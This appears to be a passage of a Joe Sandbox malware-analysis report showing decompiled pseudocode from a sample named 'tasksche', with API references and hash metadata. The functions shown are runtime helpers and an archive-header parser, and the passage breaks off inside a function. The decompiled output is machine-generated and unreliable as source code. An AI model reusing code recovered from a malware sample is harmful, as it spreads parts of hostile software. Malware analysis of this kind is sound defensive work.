0x00421ba7
0x00421ba7
0x00421ba9
0x00421bae
0x00421bb8
0x00421bba
0x00421bc2
0x00421be3
0x00421be9
0x00421bed
0x00421bf0
0x00421bf3
0x00421bf9
0x00421bfb
0x00421bfd
0x00421c00
0x00421c06
0x00421c08
0x00421c0a
0x00421c10
0x00421c12
0x00421c13
0x00421c18
0x00421c10
0x00421c08
0x00421c19
0x00421c1e
0x00421c21
0x00421c27
0x00421c2b
0x00421c2b
0x00421c31
0x00421c38
0x00421bca
0x00421bca
0x00421bca
0x00421bcf
0x00421bd3
0x00421bd8
0x00421be0

APIs

__getptd.LIBCMT ref: 00421BB3

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__amsg_exit.LIBCMT ref: 00421BD3
__lock.LIBCMT ref: 00421BE3
InterlockedDecrement.KERNEL32(?), ref: 00421C00
InterlockedIncrement.KERNEL32(020B16C8), ref: 00421C2B

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: ebc1e90ea7ebb2cd7a70d9e2b8ecced687c6613aa7d00b2615dd79ed11a35268
Instruction ID: 6d4d6cab2ca80c9586acdc371c3e58b42f7918e3e726cea937426c24952e9619
Opcode Fuzzy Hash: ebc1e90ea7ebb2cd7a70d9e2b8ecced687c6613aa7d00b2615dd79ed11a35268
Instruction Fuzzy Hash: 8401C439B40731ABC728AF56A40679E7760BF10724F94012BE804AB3A1CB3C6991DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 0041A506 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E0041A506(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x42d658);
				_t8 = E0041FA9C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E0041FAE1(_t8);
				}
				if( *0x451420 != 3) {
					_push(_t23);
					L7:
					_t8 = HeapFree( *0x44f848, 0, ??);
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E0041EDAE(_t31);
						 *_t10 = E0041ED6C(GetLastError());
					}
					goto L9;
				}
				E0041EFA3(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E0041EFD6(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E0041F006();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E0041A55C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x0041a506
0x0041a508
0x0041a50d
0x0041a512
0x0041a517
0x0041a58e
0x0041a593
0x0041a593
0x0041a520
0x0041a565
0x0041a566
0x0041a56e
0x0041a574
0x0041a576
0x0041a578
0x0041a58b
0x0041a58d
0x00000000
0x0041a576
0x0041a524
0x0041a52a
0x0041a52f
0x0041a535
0x0041a53a
0x0041a53c
0x0041a53d
0x0041a53e
0x0041a544
0x0041a545
0x0041a54c
0x0041a555
0x00000000
0x0041a557
0x0041a557
0x00000000
0x0041a557

APIs

__lock.LIBCMT ref: 0041A524

Part of subcall function 0041EFA3: __mtinitlocknum.LIBCMT ref: 0041EFB9
Part of subcall function 0041EFA3: __amsg_exit.LIBCMT ref: 0041EFC5
Part of subcall function 0041EFA3: EnterCriticalSection.KERNEL32(0041A9AB,0041A9AB,?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001), ref: 0041EFCD

___sbh_find_block.LIBCMT ref: 0041A52F
___sbh_free_block.LIBCMT ref: 0041A53E
HeapFree.KERNEL32(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction ID: 0c17081243acc93c5e04f74f5850e91c5e9c62578e05a8caa74c22d26ff5c9bd
Opcode Fuzzy Hash: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction Fuzzy Hash: 1D01847194A215BBDB306BB29C067DE3B65AF00798F10012BFC0496291DB3C86D19A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00411E81 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411E81(void* __eflags, short* _a4, short* _a8, int _a12) {
				void* _t8;
				int _t12;
				int _t22;
				int _t23;

				_t8 = E0041A7AF(_a4);
				_t22 = _a12;
				if(_t8 + 1 >= _t22) {
					_t23 = _t22;
				} else {
					_t23 = E0041A7AF(_a4) + 1;
				}
				if(E0041A7AF(_a8) + 1 >= _t22) {
					_t12 = _t22;
				} else {
					_t12 = E0041A7AF(_a8) + 1;
				}
				return CompareStringW(0x400, 0x1001, _a4, _t23, _a8, _t12);
			}

0x00411e89
0x00411e8e
0x00411e95
0x00411ea5
0x00411e97
0x00411ea2
0x00411ea2
0x00411eb3
0x00411ec1
0x00411eb5
0x00411ebe
0x00411ebe
0x00411ee0

APIs

_wcslen.LIBCMT ref: 00411E89
_wcslen.LIBCMT ref: 00411E9A
_wcslen.LIBCMT ref: 00411EAA
_wcslen.LIBCMT ref: 00411EB8
CompareStringW.KERNEL32(00000400,00001001,?,?,00000000,?,?,00000000,?,00409F60,__rar_,00000000,00000006,00000000,?,00000800), ref: 00411ED5

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction ID: fd224344e63f22d7e065bf6fa160c6ce473b51916626f6dd2966927fcf662de7
Opcode Fuzzy Hash: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction Fuzzy Hash: 5FF02436148148BFDF126F92EC01CDE3F26DB81375B244027FE298A0A0D635C9A29789

Uniqueness

Uniqueness Score: -1.00%

Function 00411119 Relevance: 7.5, APIs: 5, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00411119(void* __ecx) {
				long* _t16;
				void** _t19;
				void* _t21;

				_t17 = __ecx;
				_t21 = __ecx;
				E0041102B(__ecx);
				_t16 = 0;
				 *((char*)(__ecx + 0x194)) = 1;
				ReleaseSemaphore( *(__ecx + 0x198), 0x20, 0);
				if( *((intOrPtr*)(_t21 + 0x84)) > 0) {
					_t19 = _t21 + 4;
					do {
						E00410EA0(_t17,  *_t19);
						CloseHandle( *_t19);
						_t16 = _t16 + 1;
						_t19 =  &(_t19[1]);
					} while (_t16 <  *((intOrPtr*)(_t21 + 0x84)));
				}
				DeleteCriticalSection(_t21 + 0x1a0);
				CloseHandle( *(_t21 + 0x198));
				return CloseHandle( *(_t21 + 0x19c));
			}

0x00411119
0x0041111c
0x0041111e
0x00411123
0x0041112e
0x00411135
0x00411147
0x0041114a
0x0041114d
0x0041114f
0x00411156
0x00411158
0x00411159
0x0041115c
0x00411164
0x0041116c
0x00411178
0x00411185

APIs

Part of subcall function 0041102B: ResetEvent.KERNEL32(?,00000200,?,?,00405016), ref: 00411051
Part of subcall function 0041102B: ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00411061

ReleaseSemaphore.KERNEL32(?,00000020,00000000,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411135
CloseHandle.KERNEL32(00000003,00000003,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411156
DeleteCriticalSection.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 0041116C
CloseHandle.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411178
CloseHandle.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411180

Part of subcall function 00410EA0: WaitForSingleObject.KERNEL32(?,000000FF,0041106E,?), ref: 00410EA6
Part of subcall function 00410EA0: GetLastError.KERNEL32(?), ref: 00410EB2

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 0382d21baac6a1741122a34ea6855b84d6e50229a7b3d3c8aab95350a1ea80c2
Instruction ID: 628da898c48b8095e2505876ae832dd6733ab043d372e65b09dbeb3e2adc3a3f
Opcode Fuzzy Hash: 0382d21baac6a1741122a34ea6855b84d6e50229a7b3d3c8aab95350a1ea80c2
Instruction Fuzzy Hash: F9F06275101704AFD7206B70DC45BD7BBA5EB0A354F00042AF7AA41120CB7768A19B29

Uniqueness

Uniqueness Score: -1.00%

Function 0040272E Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040272E(intOrPtr __ecx, signed int __edx) {
				signed int _t142;
				char _t143;
				void* _t147;
				signed int _t148;
				unsigned int _t149;
				signed int _t153;
				signed int _t170;
				signed int _t173;
				void* _t178;
				signed int _t179;
				void* _t182;
				signed char _t183;
				void* _t196;
				void* _t205;
				signed char _t207;
				void* _t217;
				signed char _t218;
				void* _t232;
				signed char _t234;
				signed int _t235;
				signed int _t239;
				signed int _t246;
				void* _t247;
				signed char _t250;
				void* _t251;
				char* _t252;
				void* _t253;
				intOrPtr _t255;
				signed int _t260;
				intOrPtr _t262;
				signed char _t277;
				signed char _t280;
				signed char _t283;
				intOrPtr _t307;
				intOrPtr _t310;
				signed int _t312;
				signed char _t314;
				signed char _t316;
				void* _t318;
				void* _t320;
				signed int _t326;
				signed int _t339;

				_t312 = __edx;
				_t318 = _t320 - 0x6c;
				E0041AAF0(0x20c0);
				_t314 =  *(_t318 + 0x74);
				 *((intOrPtr*)(_t318 + 0x68)) = __ecx;
				_t255 =  *((intOrPtr*)(_t314 + 0x14));
				_t142 = _t255 -  *(_t318 + 0x78);
				if(_t142 <  *(_t314 + 0x18)) {
					L83:
					return _t142;
				}
				 *(_t314 + 0x18) = _t142;
				if(_t255 - _t142 >= 2) {
					_t316 =  *(_t318 + 0x7c);
					while(1) {
						_t142 = E0040B60D(_t312);
						 *(_t318 + 0x64) = _t312;
						if((_t142 | _t312) == 0) {
							break;
						}
						_t260 =  *(_t314 + 0x18);
						_t312 =  *((intOrPtr*)(_t314 + 0x14)) - _t260;
						if(_t312 == 0) {
							break;
						}
						_t326 =  *(_t318 + 0x64);
						if(_t326 > 0 || _t326 >= 0 && _t142 > _t312) {
							break;
						} else {
							_t246 = _t260 + _t142;
							 *(_t318 + 0x78) = _t246;
							_t143 = E0040B60D(_t312);
							_t247 = _t246 -  *(_t314 + 0x18);
							 *(_t318 + 0x64) =  *(_t318 + 0x64) & 0x00000000;
							 *((intOrPtr*)(_t318 + 0x58)) = _t143;
							 *(_t318 + 0x5c) = _t312;
							if( *((intOrPtr*)(_t316 + 4)) == 1 && _t143 == 1 && _t312 == 0) {
								 *((char*)(_t316 + 0x1e)) = _t143;
								_t234 = E0040B60D(_t312);
								 *(_t318 + 0x74) = _t234;
								if((_t234 & 0x00000001) != 0) {
									_t239 = E0040B60D(_t312);
									 *(_t318 + 0x4c) = _t239;
									if((_t239 | _t312) != 0) {
										_t310 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t310 + 0xb040)) +  *(_t318 + 0x4c);
										 *((intOrPtr*)(_t316 + 0x24)) =  *((intOrPtr*)(_t310 + 0xb044));
									}
								}
								if(( *(_t318 + 0x74) & 0x00000002) != 0) {
									_t235 = E0040B60D(_t312);
									 *(_t318 + 0x44) = _t235;
									if((_t235 | _t312) != 0) {
										_t307 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x30)) =  *((intOrPtr*)(_t307 + 0xb040)) +  *(_t318 + 0x44);
										 *((intOrPtr*)(_t316 + 0x34)) =  *((intOrPtr*)(_t307 + 0xb044));
									}
								}
							}
							_t262 =  *((intOrPtr*)(_t316 + 4));
							if(_t262 == 2 || _t262 == 3) {
								_t312 = 0;
								_t339 =  *(_t318 + 0x5c);
								if(_t339 > 0 || _t339 >= 0 &&  *((intOrPtr*)(_t318 + 0x58)) > 7) {
									goto L81;
								} else {
									_t147 =  *((intOrPtr*)(_t318 + 0x58)) - 1;
									if(_t147 == 0) {
										_t148 = E0040B60D(_t312);
										__eflags = _t148;
										if(_t148 <= 0) {
											_t149 = E0040B60D(_t312);
											 *(_t316 + 0x10b1) = _t149 & 0x00000001;
											 *(_t316 + 0x10ba) = _t149 >> 0x00000001 & 0x00000001;
											_t153 = E0040B562(_t314) & 0x000000ff;
											 *(_t316 + 0x10dc) = _t153;
											__eflags = _t153 - 0x18;
											if(_t153 > 0x18) {
												E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
											}
											E0040B696(_t314, _t316 + 0x1091, 0x10);
											E0040B696(_t314, _t316 + 0x10a1, 0x10);
											__eflags =  *(_t316 + 0x10b1);
											if( *(_t316 + 0x10b1) != 0) {
												_t248 = _t316 + 0x10b2;
												E0040B696(_t314, _t316 + 0x10b2, 8);
												E0040B696(_t314, _t318 + 0x54, 4);
												E004106AE(_t318 - 0x54);
												E004109B0(_t318 - 0x54, _t316 + 0x10b2, 8);
												E00410A29(_t314, _t312, __eflags, _t318 - 0x54, _t318 + 0x24);
												_t170 = E0041AC04(_t318 + 0x54, _t318 + 0x24, 4);
												_t320 = _t320 + 0xc;
												asm("sbb al, al");
												__eflags =  *((intOrPtr*)(_t316 + 4)) - 3;
												 *(_t316 + 0x10b1) =  ~_t170 + 1;
												if( *((intOrPtr*)(_t316 + 4)) == 3) {
													_t173 = E0041AC04(_t248, 0x42a49c, 8);
													_t320 = _t320 + 0xc;
													__eflags = _t173;
													if(_t173 == 0) {
														 *(_t316 + 0x10b1) = _t173;
													}
												}
											}
											 *((char*)(_t316 + 0x1090)) = 1;
											 *((intOrPtr*)(_t316 + 0x108c)) = 5;
											 *((char*)(_t316 + 0x108b)) = 1;
										} else {
											E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
										}
										goto L81;
									}
									_t178 = _t147 - 1;
									if(_t178 == 0) {
										_t179 = E0040B60D(_t312);
										__eflags = _t179;
										if(_t179 != 0) {
											goto L81;
										}
										_push(0x20);
										 *((intOrPtr*)(_t316 + 0x1060)) = 3;
										_push(_t316 + 0x1064);
										L33:
										E0040B696(_t314);
										goto L81;
									}
									_t182 = _t178 - 1;
									if(_t182 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L58:
											_t183 = E0040B60D(_t312);
											_t250 = _t183 & 0x00000001;
											 *(_t318 + 0x77) = _t183;
											__eflags = _t183 & 0x00000002;
											if((_t183 & 0x00000002) != 0) {
												_t283 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1030, E0040B5EC(_t283, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1030, _t312, E0040B5AF(_t283), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000004;
											if(( *(_t318 + 0x77) & 0x00000004) != 0) {
												_t280 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1038, E0040B5EC(_t280, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1038, _t312, E0040B5AF(_t280), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000008;
											if(( *(_t318 + 0x77) & 0x00000008) != 0) {
												_t277 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1040, E0040B5EC(_t277, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1040, _t312, E0040B5AF(_t277), 0);
												}
											}
											goto L81;
										}
										__eflags = _t247 - 9;
										if(_t247 < 9) {
											goto L81;
										}
										goto L58;
									}
									_t196 = _t182 - 1;
									if(_t196 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L53:
											E0040B60D(_t312);
											__eflags = E0040B60D(_t312);
											if(__eflags != 0) {
												 *((char*)(_t316 + 0x10e3)) = 1;
												E0040BC16(_t318 + 0x1c, 0x14, ";%u", _t198);
												_t320 = _t320 + 0x10;
												E00410BC9(__eflags,  *((intOrPtr*)(_t318 + 0x68)) + 0x6608, _t318 + 0x1c, 0x800);
											}
											goto L81;
										}
										__eflags = _t247 - 1;
										if(_t247 < 1) {
											goto L81;
										}
										goto L53;
									}
									_t205 = _t196 - 1;
									if(_t205 == 0) {
										 *((intOrPtr*)(_t316 + 0x10f0)) = E0040B60D(_t312);
										_t207 = E0040B60D(_t312);
										_t290 = _t314;
										 *(_t316 + 0x20f4) = _t207 & 0x00000001;
										_t251 = E0040B60D(_t312);
										 *((char*)(_t318 - 0x2054)) = 0;
										__eflags = _t251 - 0x1fff;
										if(_t251 < 0x1fff) {
											_t290 = _t314;
											E0040B696(_t314, _t318 - 0x2054, _t251);
											 *((char*)(_t318 + _t251 - 0x2054)) = 0;
										}
										E0040A277(_t318 - 0x2054, _t318 - 0x2054, 0x2000);
										E00411CD1(_t290, _t318 - 0x2054, _t316 + 0x10f4, 0x800);
										goto L81;
									}
									_t217 = _t205 - 1;
									if(_t217 == 0) {
										_t218 = E0040B60D(_t312);
										 *(_t316 + 0x20f6) = _t218 >> 0x00000002 & 0x00000001;
										_t252 = _t316 + 0x20f8;
										 *(_t318 + 0x7c) = _t218;
										 *(_t316 + 0x20f7) = _t218 >> 0x00000003 & 0x00000001;
										 *((char*)(_t316 + 0x21f8)) = 0;
										 *_t252 = 0;
										__eflags = _t218 & 0x00000001;
										if((_t218 & 0x00000001) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											E0040B696(_t314, _t252,  *(_t318 + 0x74));
											 *((char*)(_t252 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t318 + 0x7c) & 0x00000002;
										if(( *(_t318 + 0x7c) & 0x00000002) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											_t253 = _t316 + 0x21f8;
											E0040B696(_t314, _t253,  *(_t318 + 0x74));
											 *((char*)(_t253 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t316 + 0x20f6);
										if( *(_t316 + 0x20f6) != 0) {
											 *((intOrPtr*)(_t316 + 0x22f8)) = E0040B60D(_t312);
										}
										__eflags =  *(_t316 + 0x20f7);
										if( *(_t316 + 0x20f7) != 0) {
											 *((intOrPtr*)(_t316 + 0x22fc)) = E0040B60D(_t312);
										}
										 *((char*)(_t316 + 0x20f5)) = 1;
										goto L81;
									}
									if(_t217 != 1) {
										goto L81;
									}
									if(_t262 == 3) {
										_t232 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t318 + 0x78);
										if(_t232 == 1) {
											_t247 = _t247 + _t232;
											asm("adc eax, edx");
										}
									}
									E00401C1D(_t316 + 0x1020, _t247);
									_push(_t247);
									_push( *((intOrPtr*)(_t316 + 0x1020)));
									goto L33;
								}
							} else {
								L81:
								 *(_t314 + 0x18) =  *(_t318 + 0x78);
								_t142 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t314 + 0x18);
								if(_t142 >= 2) {
									continue;
								}
								break;
							}
						}
					}
				}
			}

0x0040272e
0x0040272f
0x00402738
0x0040273e
0x00402741
0x00402744
0x00402749
0x0040274f
0x00402c84
0x00402c88
0x00402c88
0x00402757
0x0040275d
0x00402764
0x00402768
0x0040276a
0x00402773
0x00402776
0x00000000
0x00000000
0x0040277c
0x00402782
0x00402784
0x00000000
0x00000000
0x0040278c
0x0040278f
0x00000000
0x0040279f
0x0040279f
0x004027a4
0x004027a7
0x004027ac
0x004027af
0x004027b7
0x004027ba
0x004027bd
0x004027ca
0x004027cd
0x004027d2
0x004027d7
0x004027db
0x004027e0
0x004027e5
0x004027e7
0x004027f9
0x004027fb
0x004027fe
0x004027fe
0x004027e5
0x00402805
0x00402809
0x0040280e
0x00402813
0x00402815
0x00402827
0x00402829
0x0040282c
0x0040282c
0x00402813
0x00402805
0x0040282f
0x00402835
0x00402840
0x00402842
0x00402845
0x00000000
0x00402857
0x0040285a
0x0040285b
0x00402b57
0x00402b5c
0x00402b5e
0x00402b73
0x00402b7f
0x00402b89
0x00402b94
0x00402b97
0x00402b9d
0x00402ba0
0x00402ba9
0x00402ba9
0x00402bb9
0x00402bc9
0x00402bce
0x00402bd5
0x00402bd9
0x00402be2
0x00402bef
0x00402bf8
0x00402c04
0x00402c11
0x00402c20
0x00402c25
0x00402c2a
0x00402c2e
0x00402c32
0x00402c38
0x00402c42
0x00402c47
0x00402c4a
0x00402c4c
0x00402c4e
0x00402c4e
0x00402c4c
0x00402c38
0x00402c54
0x00402c5b
0x00402c65
0x00402b60
0x00402b67
0x00402b67
0x00000000
0x00402b5e
0x00402861
0x00402862
0x00402b30
0x00402b35
0x00402b37
0x00000000
0x00000000
0x00402b3d
0x00402b45
0x00402b4f
0x004028b1
0x004028b3
0x00000000
0x004028b3
0x00402868
0x00402869
0x00402a68
0x00402a6b
0x00000000
0x00000000
0x00402a71
0x00402a7c
0x00402a7e
0x00402a85
0x00402a88
0x00402a8b
0x00402a8d
0x00402a8f
0x00402a91
0x00402a93
0x00402ab7
0x00402a95
0x00402aa3
0x00402aa3
0x00402a93
0x00402abc
0x00402ac0
0x00402ac2
0x00402ac4
0x00402ac6
0x00402aea
0x00402ac8
0x00402ad6
0x00402ad6
0x00402ac6
0x00402aef
0x00402af3
0x00402af9
0x00402afb
0x00402afd
0x00402b24
0x00402aff
0x00402b0d
0x00402b0d
0x00402afd
0x00000000
0x00402af3
0x00402a73
0x00402a76
0x00000000
0x00000000
0x00000000
0x00402a76
0x0040286f
0x00402870
0x00402a07
0x00402a0a
0x00000000
0x00000000
0x00402a10
0x00402a1b
0x00402a1d
0x00402a29
0x00402a2b
0x00402a3d
0x00402a44
0x00402a49
0x00402a5e
0x00402a5e
0x00000000
0x00402a2b
0x00402a12
0x00402a15
0x00000000
0x00000000
0x00000000
0x00402a15
0x00402876
0x00402877
0x00402996
0x0040299c
0x004029a3
0x004029a5
0x004029b0
0x004029b2
0x004029b9
0x004029bf
0x004029c9
0x004029cb
0x004029d0
0x004029d0
0x004029e5
0x004029fd
0x00000000
0x004029fd
0x0040287d
0x0040287e
0x004028bf
0x004028cc
0x004028da
0x004028e0
0x004028e3
0x004028e9
0x004028f0
0x004028f3
0x004028f5
0x004028fe
0x00402906
0x00402909
0x0040290b
0x0040290b
0x00402914
0x0040291c
0x0040291c
0x00402920
0x00402924
0x0040292d
0x00402935
0x00402938
0x0040293a
0x0040293a
0x00402940
0x00402949
0x00402951
0x00402951
0x00402955
0x0040295c
0x00402965
0x00402965
0x0040296b
0x00402972
0x0040297b
0x0040297b
0x00402981
0x00000000
0x00402981
0x00402881
0x00000000
0x00000000
0x0040288a
0x0040288f
0x00402895
0x00402897
0x0040289c
0x0040289c
0x00402895
0x004028a5
0x004028aa
0x004028ab
0x00000000
0x004028ab
0x00402c6c
0x00402c6c
0x00402c6f
0x00402c75
0x00402c7b
0x00000000
0x00000000
0x00000000
0x00402c7b
0x00402835
0x0040278f
0x00402c82

APIs

_swprintf.LIBCMT ref: 00402A44

Strings

;%u, xrefs: 00402A32

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _swprintf
String ID: ;%u
API String ID: 589789837-535004727
Opcode ID: 76373ee2ecf781b7b665159454dbbb704872586c7a4bfe65aadf24f0c1c8d5bb
Instruction ID: 268b90de5ef8301e543b0e1450f18e5b796866e9caf2f0e9a7a428077d8a2ebb
Opcode Fuzzy Hash: 76373ee2ecf781b7b665159454dbbb704872586c7a4bfe65aadf24f0c1c8d5bb
Instruction Fuzzy Hash: ADE114702007445ADB24EF75C699BEE77E5AF40304F04053FE996A72C2DBBCA984CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00416790 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 381
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00416790(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t176;
				signed int _t179;
				signed int _t180;
				void* _t181;
				signed int _t184;
				signed int _t185;
				signed int _t190;
				signed int _t194;
				signed int _t195;
				intOrPtr _t196;
				signed int _t197;
				signed int _t203;
				signed int _t215;
				signed int _t248;
				signed int _t250;
				intOrPtr* _t263;
				signed int _t264;
				signed int* _t266;
				signed int _t267;
				signed int* _t268;
				signed int* _t269;
				intOrPtr* _t270;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr _t281;
				signed int* _t310;
				void* _t319;
				signed int _t321;
				signed int* _t328;
				signed int _t329;
				void* _t330;
				void* _t332;
				signed int _t334;
				signed int _t335;
				void* _t338;
				signed int _t340;
				signed int _t342;
				void* _t343;
				void* _t345;
